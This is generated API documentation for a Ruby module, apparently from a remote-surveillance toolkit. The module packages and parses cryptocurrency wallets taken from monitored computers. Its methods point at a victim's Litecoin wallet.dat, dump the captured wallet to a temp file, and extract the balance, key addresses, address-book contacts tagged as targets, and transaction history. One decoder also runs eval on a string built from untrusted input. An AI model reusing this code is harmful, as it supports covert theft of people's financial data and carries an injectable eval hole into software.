Module: RCS::MoneyEvidence
- Defined in:
- lib/rcs-common/evidence/money.rb
Constant Summary collapse
- MONEY_VERSION =
2014010101
- TYPES =
{:bitcoin => 0x00, :litecoin => 0x30, :feathercoin => 0x0E, :darkcoin => 0x6F, :namecoin => 0x34}
- PROGRAM_BITCOIN =
{:bitcoin_qt => 0x00}
- PROGRAM_LITECOIN =
{:litecoin_qt => 0x00}
- PROGRAM_DARKCOIN =
{:darkcoin => 0x6F}
- PROGRAM_FEATHERCOIN =
{:feathercoin_qt => 0x00}
- PROGRAM_NAMECOIN =
{:namecoin_qt => 0x00}
Instance Method Summary collapse
- #additional_header ⇒ Object
- #content ⇒ Object
- #decode_additional_header(data) ⇒ Object
- #decode_content(common_info, chunks) {|info| ... } ⇒ Object
- #generate_content ⇒ Object
Instance Method Details
#additional_header ⇒ Object
35 36 37 38 39 40 41 42 43 44 45 |
# File 'lib/rcs-common/evidence/money.rb', line 35 def additional_header file_name = '~/Library/Application Support/Litecoin/wallet.dat'.to_utf16le_binary header = StringIO.new header.write [MONEY_VERSION].pack("I") header.write [TYPES[:litecoin]].pack("I") header.write [0].pack("I") header.write [file_name.size].pack("I") header.write file_name header.string end |
#content ⇒ Object
26 27 28 29 |
# File 'lib/rcs-common/evidence/money.rb', line 26 def content path = File.join(File.dirname(__FILE__), 'content/coin/wallet_lite.dat') File.open(path, 'rb') {|f| f.read } end |
#decode_additional_header(data) ⇒ Object
47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 |
# File 'lib/rcs-common/evidence/money.rb', line 47 def decode_additional_header(data) raise EvidenceDeserializeError.new("incomplete MONEY") if data.nil? or data.bytesize == 0 binary = StringIO.new data version, type, program, file_name_len = binary.read(16).unpack("I*") raise EvidenceDeserializeError.new("invalid log version for MONEY") unless version == MONEY_VERSION ret = Hash.new ret[:data] = Hash.new ret[:data][:currency] = TYPES.invert[type] ret[:data][:program] = eval("PROGRAM_#{ret[:data][:currency].to_s.upcase}").invert[program].to_s ret[:data][:path] = binary.read(file_name_len).utf16le_to_utf8 return ret end |
#decode_content(common_info, chunks) {|info| ... } ⇒ Object
63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 |
# File 'lib/rcs-common/evidence/money.rb', line 63 def decode_content(common_info, chunks) info = Hash[common_info] info[:data] = Hash.new if info[:data].nil? binary_wallet = chunks.join info[:grid_content] = binary_wallet info[:data][:size] = info[:grid_content].bytesize # dump the wallet to a temporary file temp = RCS::DB::Config.instance.temp(SecureRandom.urlsafe_base64(10)) File.open(temp, 'wb') {|d| d.write binary_wallet} coin = info[:data][:currency] # all the parsing is done here cw = CoinWallet.new(temp, coin) # remove temporary FileUtils.rm_rf temp trace :debug, "WALLET: #{info[:data][:currency]} #{cw.version} #{cw.encrypted?} #{cw.balance}" info[:data][:type] = :wallet info[:data][:version] = cw.version info[:data][:encrypted] = cw.encrypted? info[:data][:balance] = cw.balance info[:data][:content] = '' cw.keys.each do |k| info[:data][:content] += "Name: #{k[:name]}\n Key: #{k[:address]}\n\n" end # output the first evidence that contains the whole wallet yield info if block_given? # output the addressbook entries address_info = Hash[common_info] address_info[:type] = :addressbook cw.addressbook.each do |k| trace :debug, "WALLET: address #{k.inspect}" info = Hash[address_info] info[:data] = {} info[:data][:program] = coin info[:data][:type] = :peer info[:data][:name] = k[:name] info[:data][:contact] = k[:address] info[:data][:handle] = k[:address] yield info if block_given? end cw.keys.each do |k| trace :debug, "WALLET: key #{k.inspect}" info = Hash[address_info] info[:data] = {} info[:data][:program] = coin info[:data][:type] = :target info[:data][:name] = k[:name] info[:data][:contact] = k[:address] info[:data][:handle] = k[:address] yield info if block_given? end # output the transactions cw.transactions.each do |tx| trace :debug, "TX: #{tx[:from]} #{tx[:to]} #{tx[:versus]} #{tx[:amount]} #{tx[:id]}" tx_info = Hash[common_info] tx_info[:data] = Hash.new tx_info[:data][:type] = :tx tx_info[:da] = tx[:time] tx_info[:data][:id] = tx[:id] # TODO: implement multiple from address, for now we take only the first address tx_info[:data][:from] = tx[:from].first tx_info[:data][:rcpt] = tx[:to] tx_info[:data][:currency] = coin tx_info[:data][:amount] = tx[:amount] tx_info[:data][:incoming] = (tx[:versus].eql? :in) ? 1 : 0 yield tx_info if block_given? end :delete_raw end |
#generate_content ⇒ Object
31 32 33 |
# File 'lib/rcs-common/evidence/money.rb', line 31 def generate_content [ content ] end |